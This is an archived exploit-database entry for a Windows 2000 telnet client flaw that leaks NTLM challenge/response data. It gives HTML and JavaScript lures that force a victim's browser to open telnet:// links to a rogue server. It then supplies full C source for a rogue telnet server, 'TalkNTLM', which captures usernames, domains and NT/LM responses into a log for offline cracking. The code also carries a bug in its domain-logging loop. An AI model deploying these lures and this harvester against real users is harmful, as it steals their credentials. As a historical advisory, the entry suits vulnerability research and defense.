Microsoft Windows Server 2000 - 'telnet.exe' NTLM Authentication

EDB-ID:

20222


Author:

@stake

Type:

remote


Platform:

Windows

Date:

2000-08-14


source: https://www.securityfocus.com/bid/1683/info


By default, the telnet client (telnet.exe) shipped with Microsoft Windows 2000 utilizes Windows NT Challenge/Response (NTLM) as an authentication method. When establishing a connection to a host, the telnet client will attempt authentication via NTLM, regardless of whether or not the host is a Windows telnet server or not. There is a possibility that the NTLM challenge/response authentication session could be monitored and subsequently cracked, which could lead to the disclosure of sensitive information such as usernames, passwords, domains, etc. The NTLM challenge/response protocol is known to be susceptible to brute-force cracking, as demonstrated in the tool "L0phtcrack."

Forcing a telnet session on a remote target is a trivial task because products such as Microsoft Internet Explorer, Outlook (Express), Netscape Navigator, etc. will automatically open URLs with a "telnet://" prefix in a default telnet client (which is normally telnet.exe). The following are some examples of how one could open a telnet session on a specified rogue server:

1) frame src=telnet://target 


2) meta http-equiv="refresh" content="0;URL=telnet://telnet-attacker"


3) window.open("telnet://target")


/* TalkNTLM - NTLM Logging Telnet Server
 * dildog@atstake.com
 * 8/14/00
 * Copyright (C) 2000 @stake, Inc.
 */

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define MAJOR_VERSION 1
#define MINOR_VERSION 0

#define IAC     255             /* interpret as command: */
#define DONT    254             /* you are not to use option */
#define DO      253             /* please, you use option */
#define WONT    252             /* I won't use option */
#define WILL    251             /* I will use option */
#define SB      250             /* interpret as subnegotiation */              
#define SE      240             /* end sub negotiation */
#define AUTH    37
#define IS      0
#define SEND    1
#define REPLY   2
#define NAME    3
#define NTLM    15

#define ACCEPT 1

typedef enum {
  METHOD_NONE=0,
  METHOD_TELNET
} METHOD;

typedef enum {
  SUBMETHOD_NONE=0,
  SUBMETHOD_LOG,
} SUBMETHOD;

#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];

void error(const char *str)
{
  fflush(stdout);
  fprintf(stderr,str);
  fflush(stderr);
}

unsigned char getb(void)
{
  unsigned char b=0;
  fread(&b,1,1,g_fCommSock);
  return b;
}

unsigned short getdwl(void)
{
  unsigned short s=0;
  s|=((unsigned short)getb());
  s|=((unsigned short)getb())<<8;
  return s;
}

unsigned long getddl(void)
{
  unsigned long l=0;
  l|=((unsigned long)getb());
  l|=((unsigned long)getb())<<8;
  l|=((unsigned long)getb())<<16;
  l|=((unsigned long)getb())<<24;
  return l;
}

void putb(unsigned char c)
{
  fwrite(&c,1,1,g_fCommSock);
}

void putdwl(unsigned short w)
{
  putb(w&255);
  putb((w>>8)&255);
}

void putddl(unsigned long d)
{
  putb(d&255);
  putb((d>>8)&255);
  putb((d>>16)&255);
  putb((d>>24)&255);
}


void putarrb(int n, unsigned char *b)
{
  int i;
  for(i=0;i<n;i++) {
    putb(b[i]);
  }
}

void putarrc(int n, char *c)
{
  putarrb(n,(unsigned char *)c);
}

void putflush(void)
{
  fflush(g_fCommSock);
}


void debugb(unsigned char c)
{
  fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}


int listenport(int port, struct sockaddr_in *rsaddr)
{
  // Create socket
  int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(s<0) {
    error("couldn't create socket.\n");
    return -1;
  }

  int reuse=1;
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(int))<0) {
    error("couldn't set socket option.\n");
    close(s);
    return -2;
  }

  // Bind to port
  struct sockaddr_in saddr;
  memset(&saddr,0,sizeof(struct sockaddr_in));
  saddr.sin_port=htons(port);
  saddr.sin_family=AF_INET;
 
  if(bind(s,(struct sockaddr *)&saddr,sizeof(struct sockaddr_in))<0) {
    error("couldn't bind.\n");
    close(s);
    return -3;
  }

  // Listen on port;
  if(listen(s,1)<0) {
    error("couldn't listen.\n");
    close(s);
    return -4;
  }

  // Accept connection
  unsigned int socklen=sizeof(struct sockaddr_in);
  memset(rsaddr,0,socklen);
  int as;
  if((as=accept(s,(struct sockaddr *)rsaddr,&socklen))<0) {
    error("couldn't accept.\n");
    close(s);
    return -5;
  }

  // Close listener
  close(s);
  
  return as;
}

int do_telnet_log(int port, char *logfile)
{

  FILE *lf=NULL;

  while(1) {
    
    // Wait for telnet connection to come in
    struct sockaddr_in saddr;
    int s;
    printf("listening on port %d.\n",port);
    if((s=listenport(port,&saddr))<0) {
      error("telnet logging abort.\n");
      return -1;
    }
    printf("recieved telnet connection from %s:%u.\n",
	   inet_ntoa(saddr.sin_addr),ntohs(saddr.sin_port));

    // Set this socket as out buffered packet socket
    g_fCommSock=fdopen(s,"r+b");
    if(g_fCommSock==NULL) {
      error("couldn't fdopen comm socket.\n");
      close(s);
      return -2;
    }
    setvbuf(g_fCommSock,g_CommSockBuf,_IOFBF,COMMSOCK_BUFSIZ);

    // Open logging file
    lf=fopen(logfile,"a+t");
    if(lf==NULL) {
      error("couldn't open log file.\n");
      fclose(g_fCommSock);
      return -3;
    }
    
    // Challenge to send
    unsigned char challenge[8]={255,255,255,255,255,255,255,255};

    // Start authentication process
    unsigned char *respbuf=NULL;
    int size=0;
    
    putb(IAC);
    putb(DO);
    putb(AUTH);
    putflush();
    printf(">> IAC DO AUTH\n");
    
    // See if client wants to authenticate
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=WILL) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    printf("<< IAC WILL AUTH\n");
    
    // Present authentication methods
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(SEND);
    putb(NTLM);
    putb(0);
    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH SEND NTLM 0 IAC SE\n");
    
    // Get NTLMSSP initial request
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    
    size=getddl()+4;
    if(size>2048) goto telnetlogfail;
    respbuf=(unsigned char *)malloc(size);
    int i;
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
    }
    free(respbuf);
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;
    
    printf("<< IAC SB AUTH IS NTLM 0 0 ... IAC SE\n");
    
    // Send accept
    putb(IAC);
    putb(SB);
    putb(AUTH);
    putb(REPLY);
    putb(NTLM);
    putb(0);
    putb(ACCEPT);
    
    putddl(0xA8);
    putddl(0x2);
    putarrc(8,"NTLMSSP");
    putddl(0x2);
    putdwl(0x14);
    putdwl(0x14);
    putddl(0x30);
    putddl(0xE0828295);
    putarrb(8,challenge);
    putarrc(8,"\0\0\0\0\0\0\0\0");
    putdwl(0x64);
    putdwl(0x64);
    putddl(0x44);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x2);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x1);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x4);
    putdwl(0x14);
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putdwl(0x3);
    putdwl(0x14);  
    putarrc(20,"A\0B\0C\0D\0E\0F\0G\0H\0I\0J\0");
    putddl(0);

    putb(IAC);
    putb(SE);
    putflush();
    printf(">> IAC SB AUTH REPLY NTLM 0 1 ... challenge ... IAC SE\n");
  
    // Get the reply packet
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SB) goto telnetlogfail;
    if(getb()!=AUTH) goto telnetlogfail;
    if(getb()!=IS) goto telnetlogfail;
    if(getb()!=NTLM) goto telnetlogfail;
    if(getb()!=0) goto telnetlogfail;
    if(getb()!=2) goto telnetlogfail;

    size=getddl()+4;
    if(size>2048 || size<64) goto telnetlogfail;
    printf("8\n");
    respbuf=(unsigned char *)malloc(size);
    for(i=0;i<size;i++) {
      respbuf[i]=getb();
      //fprintf(stderr,"%2.2X: ",i);
      //debugb(respbuf[i]);
    }
    if(getb()!=IAC) goto telnetlogfail;
    if(getb()!=SE) goto telnetlogfail;

    printf("<< IAC SB AUTH IS NTLM 0 2 ... response ... IAC SE\n");
    
    
    // Get username
    int usernamelen,usernameoff;
    char *username;
    usernamelen=respbuf[0x28] | (respbuf[0x29]<<8);
    usernameoff=respbuf[0x2C] | (respbuf[0x2D]<<8) | 
      (respbuf[0x2E]<<16) | (respbuf[0x2F]<<24);
    username=(char *)malloc(usernamelen);
    if(!username) goto telnetlogfail;
    memcpy(username,&respbuf[usernameoff+4],usernamelen);
    printf("Username: ");
    for(i=0;i<usernamelen;i+=2) {
      printf("%c",username[i]);
      fprintf(lf,"%c",username[i]);
      username[i>>1]=username[i];
    }
    usernamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(username);
    
    // Get domainname
    int domainnamelen,domainnameoff;
    char *domainname;
    domainnamelen=respbuf[0x20] | (respbuf[0x21]<<8);
    domainnameoff=respbuf[0x24] | (respbuf[0x25]<<8) | 
      (respbuf[0x26]<<16) | (respbuf[0x27]<<24);
    domainname=(char *)malloc(domainnamelen);
    if(!domainname) goto telnetlogfail;
    memcpy(domainname,&respbuf[domainnameoff+4],domainnamelen);
    printf("Domain: ");
    for(i=0;i<domainnamelen;i+=2) {
      printf("%c",domainname[i]);
      fprintf(lf,"%c",username[i]);
      domainname[i>>1]=domainname[i];
    }
    domainnamelen>>=1;
    printf("\n");
    fprintf(lf,":");
    free(domainname);
    
    // Write challenge
    fprintf(lf,"%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X:",
	    challenge[0],challenge[1],challenge[2],challenge[3],
	    challenge[4],challenge[5],challenge[6],challenge[7]);

    // Get NT response
    int ntresplen,ntrespoff;
    unsigned char *ntresp;
    ntresplen=respbuf[0x10] | (respbuf[0x11]<<8);
    ntrespoff=respbuf[0x14];// | (respbuf[0x15]<<8) | (respbuf[0x16]<<16) | (respbuf[0x17]<<24);
    ntresp=(unsigned char *)malloc(ntresplen);
    if(!ntresp) goto telnetlogfail;
    memcpy(ntresp,&respbuf[ntrespoff+4],ntresplen);
    printf("NT Response:\n");
    for(i=0;i<ntresplen;i++) {
      printf("%2.2X ",ntresp[i]);
      fprintf(lf,"%2.2X",ntresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,":");
    free(ntresp);
    
    // Get LM response
    int lmresplen,lmrespoff;
    unsigned char *lmresp;
    lmresplen=respbuf[0x18] | (respbuf[0x19]<<8);
    lmrespoff=respbuf[0x1C] | (respbuf[0x1D]<<8) | 
      (respbuf[0x1E]<<16) | (respbuf[0x1F]<<24);
    lmresp=(unsigned char *)malloc(lmresplen);
    if(!lmresp) goto telnetlogfail;
    memcpy(lmresp,&respbuf[lmrespoff+4],lmresplen);
    printf("LM Response:\n");
    for(i=0;i<lmresplen;i++) {
      printf("%2.2X ",lmresp[i]);
      fprintf(lf,"%2.2X",lmresp[i]);
      if(i%8==7) printf("\n");
    }
    printf("\n");
    fprintf(lf,"\n");
    free(lmresp);  
    
    free(respbuf);
    
    fclose(lf);
    // Close the telnet session
    fclose(g_fCommSock);
    printf("closed telnet socket.\n");

  }

  return 0;
  
 telnetlogfail:; // Failure
  
  if(lf!=NULL)
    fclose(lf);
  printf("telnet negotiation failed.\n");
  fclose(g_fCommSock);
  
  return -5;
}



void usage(char *progname,int exitcode)
{
  printf("talkntlm v%d.%d (%s)\n",MAJOR_VERSION,MINOR_VERSION,progname);
  printf("usage: talkntlm -t [-p <port>] -l <challenge response logfile>\n",progname);
  exit(exitcode);
}


int main(int argc, char *argv[])
{
  unsigned char b;
  int i,tp;
  
  // Get options
  
  int opt_port=0;
  char *opt_logfile=NULL;
  METHOD opt_method=METHOD_NONE;
  SUBMETHOD opt_submethod=SUBMETHOD_NONE;

  char oc;
  while((oc=getopt(argc,argv,"l:p:t"))>0) {
    switch(oc) {
    case 't':
      opt_method=METHOD_TELNET;
      if(opt_port==0) {
	opt_port=23;
      }
      break;
    case 'p':
      opt_port=atoi(optarg);
      break;
    case 'l':
      opt_logfile=optarg;
      if(opt_submethod!=SUBMETHOD_NONE)
	usage(argv[0],-2);
      opt_submethod=SUBMETHOD_LOG;
      break;
    default:
      usage(argv[0],-3);
      
      break;
    }
  }
  
  // Go to the particular method
  if(opt_method==METHOD_NONE) {
    usage(argv[0],-4);
  } 
  else if(opt_method==METHOD_TELNET) {
    
    // Telnet methods
    
    if(opt_submethod==SUBMETHOD_NONE) {
      usage(argv[0],-5);
    
    }
    else if(opt_submethod==SUBMETHOD_LOG) {

      // Telnet hash logging

      if(opt_logfile==NULL) {
	usage(argv[0],-7);
      }
      if(do_telnet_log(opt_port,opt_logfile)!=0)
	return -8;
    
    }

  }

  return 0;
}